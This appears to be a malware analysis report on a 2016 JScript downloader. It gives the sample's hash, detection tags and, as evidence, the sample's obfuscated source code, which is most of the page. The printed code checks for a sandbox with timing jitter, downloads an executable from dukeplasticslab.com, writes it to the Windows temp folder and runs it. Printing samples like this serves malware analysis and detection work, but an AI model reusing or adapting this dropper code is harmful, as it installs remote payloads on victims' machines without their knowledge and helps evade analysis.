20160328_a377595e2af2f99781863b56eaf6bedf.js
Downloads and executes remote EXE payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2567ae1eb4b99eea7c5c83b26da8812ab24e5436af67a54e2c7d141a93f6ec2dabc
Evidence
1var Smetozaque = false;
2var Evqcewwpp = "CreateObject";
3var Pgmikk = function Lbflfyancn() {return WScript[Evqcewwpp]("WScript.Shell");}();
4var Clkdxyqd = 123213;
5var Sgauwve = "MSXML2.XMLHTTP";
6var Tqueqjxhe = 2123213;
7var Ibknrav = 0;
8function Nvgksgmfvw(Cnbfs){Pgmikk["Run"](Cnbfs, Ibknrav, Ibknrav);};
9function Lzrpd(){return Sgauwve;};
10function Tzpxj(Kcafa, Fyoejtmt){return Kcafa - Fyoejtmt;};
11function Mione(){return Evqcewwpp;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Smetozaque = true;
15 @end
16@*/
17var Ecaulajis = "";
18if (Smetozaque)
19{
20function Ceuezi(){return 22;};
21var Phleeyo = 0; var Pcdumcqse = 0;
22function Bllzntwb()
23{
24var Eefkth = new this["Date"]();
25var Tvhifj = Eefkth["getUTCMilliseconds"]();
26WScript["Sleep"](Ceuezi());
27var Eefkth = new this["Date"]();
28var Cwtupezswx = Eefkth["getUTCMilliseconds"]();
29WScript["Sleep"](Ceuezi());
30var Eefkth = new this["Date"]();
31var Bxvwf = Eefkth["getUTCMilliseconds"]();
32var Phleeyo = "Drwaoxqjy";
33Phleeyo = Tzpxj(Cwtupezswx, Tvhifj);
34var Pcdumcqse = "Mzmexl";
35Pcdumcqse = Tzpxj(Bxvwf, Cwtupezswx);
36Ecaulajis = "open";
37return Tzpxj(Phleeyo, Pcdumcqse);
38}
39var Tyqpud = false;
40var Wiiikblu = false;
41for (var Rwdrydwub = Ibknrav; Rwdrydwub < Ceuezi() * 1; Rwdrydwub++){if (Bllzntwb() != Ibknrav){
42Tyq …
49:7… qpud && Kfojqqqbii() && Wiiikblu){
50function Juoyxgdq() {return Pgmikk["ExpandEnvironmentStrings"]("%TEMP%/") + "lNjpowCMVuhX.exe";};
51 Htlhzwrg = Lzrpd();
52 Sfxlwlc = WScript[Evqcewwpp](Htlhzwrg);
53 var Tqibksd = 1;
54 while (Tqibksd){
55try {
56Sfxlwlc[Ecaulajis]("GET", "http://dukeplasticslab.com/j47akfa", false);
57Sfxlwlc["send"]();
58Mjsgazlu = "Sleep";
59do {WScript[Mjsgazlu](Ceuezi() * 11)} while (Sfxlwlc["readystate"] < 4 );
60Tqibksd = Ibknrav;
61} catch(Dyhpfh){Tqibksd = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Ijwlzv(Kqkexfzkde) {var Drtzovmd = (1, 2, 3, 4, 5, Kqkexfzkde); return Drtzovmd;};
64Sicgmij = WScript[Mione()]("ADODB.Stream");
65Htlhzwrg = Sicgmij;
66Htlhzwrg[Ecaulajis]();
67Htlhzwrg["type"] = Ijwlzv(1);
68Htlhzwrg["write"](Sfxlwlc["ResponseBody"]);
69Sicgmij["position"] = Ijwlzv(Ibknrav);
70Htlhzwrg["SaveToFile"](Juoyxgdq(), Ijwlzv(2) );
71Sicgmij["close"]();
72Nvgksgmfvw(Juoyxgdq());
73}
74}
75